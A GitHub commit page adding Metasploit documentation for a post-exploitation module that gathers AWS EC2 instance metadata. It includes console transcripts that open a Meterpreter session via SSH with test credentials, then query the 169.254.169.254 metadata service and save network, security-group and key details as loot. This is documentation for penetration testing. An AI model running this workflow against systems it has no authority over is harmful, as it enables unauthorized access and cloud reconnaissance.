Skip to content

Commit cf20cca

Browse files
jhart-r7jhart-r7
committed
Add kb for aws_ec2_instance_metadata
1 parent b3c6ec0 commit cf20cca

File tree

1 file changed

+198
-0
lines changed

1 file changed

+198
-0
lines changed

‎documentation/modules/post/multi/gather/aws_ec2_instance_metadata.md

Lines changed: 198 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,198 @@
1+
## Vulnerable Application
2+
3+
This module uses an existing session on an AWS EC2 instance to gather
4+
the metadata about the instance. As such, any EC2 instance with `curl`
5+
is an applicable target.
6+
7+
## Verification Steps
8+
9+
1. Get session
10+
2. Do `use post/multi/gather/aws_ec2_instance_metadata`
11+
3. Do `set SESSION <session id>`
12+
4. Do `run`
13+
5. See loot.
14+
15+
## Options
16+
17+
Set `VERBOSE` to `true` if you would like the AWS EC2 instance metadata to be shown
18+
in addition to being stored.
19+
20+
## Scenarios
21+
22+
Default, non-verbose mode:
23+
24+
```
25+
resource (msf.rc)> use exploit/multi/ssh/sshexec
26+
resource (msf.rc)> set PASSWORD test
27+
PASSWORD => test
28+
resource (msf.rc)> set USERNAME test
29+
USERNAME => test
30+
resource (msf.rc)> set PAYLOAD linux/x86/meterpreter/bind_tcp
31+
PAYLOAD => linux/x86/meterpreter/bind_tcp
32+
resource (msf.rc)> set RHOST 192.168.2.2
33+
RHOST => 192.168.2.2
34+
resource (msf.rc)> run -j
35+
[*] Exploit running as background job.
36+
resource (msf.rc)> sleep 10
37+
[*] Started bind handler
38+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
39+
[*] 192.168.2.2:22 - Sending stager...
40+
[*] Command Stager progress - 42.09% done (306/727 bytes)
41+
[*] Sending stage (1495599 bytes) to 192.168.2.2
42+
[*] Command Stager progress - 100.00% done (727/727 bytes)
43+
[*] Meterpreter session 1 opened (192.168.1.149:52075 -> 192.168.2.2:4444) at 2016-09-30 06:40:44 -0700
44+
45+
resource (msf.rc)> use post/multi/gather/aws_ec2_instance_metadata
46+
resource (msf.rc)> set SESSION 1
47+
SESSION => 1
48+
resource (msf.rc)> run
49+
[*] Gathering AWS EC2 instance metadata
50+
[+] Saved AWS EC2 instance metadata to to /Users/jhart/.msf4/loot/20160930064126_default_192.168.2.2_aws.ec2.instance_509214.txt
51+
[*] Post module execution completed
52+
```
53+
54+
Non-default, verbose mode:
55+
56+
```
57+
resource (msf.rc)> use exploit/multi/ssh/sshexec
58+
resource (msf.rc)> set PASSWORD test
59+
PASSWORD => test
60+
resource (msf.rc)> set USERNAME test
61+
USERNAME => test
62+
resource (msf.rc)> set PAYLOAD linux/x86/meterpreter/bind_tcp
63+
PAYLOAD => linux/x86/meterpreter/bind_tcp
64+
resource (msf.rc)> set RHOST 192.168.2.2
65+
RHOST => 192.168.2.2
66+
resource (msf.rc)> run -j
67+
[*] Exploit running as background job.
68+
resource (msf.rc)> sleep 10
69+
[*] Started bind handler
70+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
71+
[*] 192.168.2.2:22 - Sending stager...
72+
[*] Command Stager progress - 42.09% done (306/727 bytes)
73+
[*] Sending stage (1495599 bytes) to 192.168.2.2
74+
[*] Command Stager progress - 100.00% done (727/727 bytes)
75+
[*] Meterpreter session 1 opened (192.168.1.149:52775 -> 192.168.2.2:4444) at 2016-09-30 06:55:54 -0700
76+
resource (msf.rc)> use post/multi/gather/aws_ec2_instance_metadata
77+
resource (msf.rc)> set SESSION 1
78+
SESSION => 1
79+
resource (msf.rc)> set VERBOSE true
80+
VERBOSE => true
81+
resource (msf.rc)> run
82+
[*] Fetching http://169.254.169.254/latest/meta-data/
83+
[*] Gathering AWS EC2 instance metadata
84+
[*] Fetching http://169.254.169.254/latest/meta-data/ami-id
85+
[*] Fetching http://169.254.169.254/latest/meta-data/ami-launch-index
86+
[*] Fetching http://169.254.169.254/latest/meta-data/ami-manifest-path
87+
[*] Fetching http://169.254.169.254/latest/meta-data/block-device-mapping/
88+
[*] Fetching http://169.254.169.254/latest/meta-data/block-device-mapping/ami
89+
[*] Fetching http://169.254.169.254/latest/meta-data/block-device-mapping/root
90+
[*] Fetching http://169.254.169.254/latest/meta-data/hostname
91+
[*] Fetching http://169.254.169.254/latest/meta-data/instance-action
92+
[*] Fetching http://169.254.169.254/latest/meta-data/instance-id
93+
[*] Fetching http://169.254.169.254/latest/meta-data/instance-type
94+
[*] Fetching http://169.254.169.254/latest/meta-data/local-hostname
95+
[*] Fetching http://169.254.169.254/latest/meta-data/local-ipv4
96+
[*] Fetching http://169.254.169.254/latest/meta-data/mac
97+
[*] Fetching http://169.254.169.254/latest/meta-data/metrics/
98+
[*] Fetching http://169.254.169.254/latest/meta-data/metrics/vhostmd
99+
[*] Fetching http://169.254.169.254/latest/meta-data/network/
100+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/
101+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/
102+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/
103+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/device-number
104+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/interface-id
105+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/ipv4-associations/
106+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/ipv4-associations/192.168.2.2
107+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/local-hostname
108+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/local-ipv4s
109+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/mac
110+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/owner-id
111+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/public-hostname
112+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/public-ipv4s
113+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/security-group-ids
114+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/security-groups
115+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/subnet-id
116+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/subnet-ipv4-cidr-block
117+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/vpc-id
118+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/vpc-ipv4-cidr-block
119+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/vpc-ipv4-cidr-blocks
120+
[*] Fetching http://169.254.169.254/latest/meta-data/placement/
121+
[*] Fetching http://169.254.169.254/latest/meta-data/placement/availability-zone
122+
[*] Fetching http://169.254.169.254/latest/meta-data/profile
123+
[*] Fetching http://169.254.169.254/latest/meta-data/public-hostname
124+
[*] Fetching http://169.254.169.254/latest/meta-data/public-ipv4
125+
[*] Fetching http://169.254.169.254/latest/meta-data/public-keys/
126+
[*] Fetching http://169.254.169.254/latest/meta-data/public-keys/0/
127+
[*] Fetching http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
128+
[*] Fetching http://169.254.169.254/latest/meta-data/reservation-id
129+
[*] Fetching http://169.254.169.254/latest/meta-data/security-groups
130+
[*] Fetching http://169.254.169.254/latest/meta-data/services/
131+
[*] Fetching http://169.254.169.254/latest/meta-data/services/domain
132+
[*] Fetching http://169.254.169.254/latest/meta-data/services/partition
133+
[+] AWS EC2 instance metadata
134+
{
135+
"ami-id": "ami-2d39803a",
136+
"ami-launch-index": "0",
137+
"ami-manifest-path": "(unknown)",
138+
"block-device-mapping": {
139+
"ami": "/dev/sda1",
140+
"root": "/dev/sda1"
141+
},
142+
"hostname": "ip-192.168.2.2.ec2.internal",
143+
"instance-action": "none",
144+
"instance-id": "i-16fffae",
145+
"instance-type": "t2.medium",
146+
"local-hostname": "ip-192.168.2.2.ec2.internal",
147+
"local-ipv4": "192.168.2.2",
148+
"mac": "aa:bb:cc:dd:ee:ff",
149+
"metrics": {
150+
"vhostmd": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
151+
},
152+
"network": {
153+
"interfaces": {
154+
"macs": {
155+
"aa:bb:cc:dd:ee:ff": {
156+
"device-number": "0",
157+
"interface-id": "eni-1234ff",
158+
"ipv4-associations": {
159+
"192.168.2.2": "192.168.2.2"
160+
},
161+
"local-hostname": "ip-192.168.2.2.ec2.internal",
162+
"local-ipv4s": "192.168.2.2",
163+
"mac": "aa:bb:cc:dd:ee:ff",
164+
"owner-id": "186638383",
165+
"public-hostname": "ec2-192.168.2.2.compute-1.amazonaws.com",
166+
"public-ipv4s": "192.168.2.2",
167+
"security-group-ids": "sg-123a7",
168+
"security-groups": "launch-wizard-15",
169+
"subnet-id": "subnet-123453d",
170+
"subnet-ipv4-cidr-block": "192.0.2.0/24",
171+
"vpc-id": "vpc-fffffff",
172+
"vpc-ipv4-cidr-block": "192.0.0.0/16",
173+
"vpc-ipv4-cidr-blocks": "192.0.0.0/16"
174+
}
175+
}
176+
}
177+
},
178+
"placement": {
179+
"availability-zone": "us-east-1e"
180+
},
181+
"profile": "default-hvm",
182+
"public-hostname": "ec2-192.168.2.2.compute-1.amazonaws.com",
183+
"public-ipv4": "192.168.2.2",
184+
"public-keys": {
185+
"0": {
186+
"openssh-key": "ssh-rsa <...redacted...> jhart"
187+
}
188+
},
189+
"reservation-id": "r-8675309",
190+
"security-groups": "launch-wizard-15",
191+
"services": {
192+
"domain": "amazonaws.com",
193+
"partition": "aws"
194+
}
195+
}
196+
[+] Saved AWS EC2 instance metadata to to /Users/jhart/.msf4/loot/20160930065628_default_192.168.2.2_aws.ec2.instance_622503.txt
197+
[*] Post module execution completed
198+
```

0 commit comments

Comments
 (0)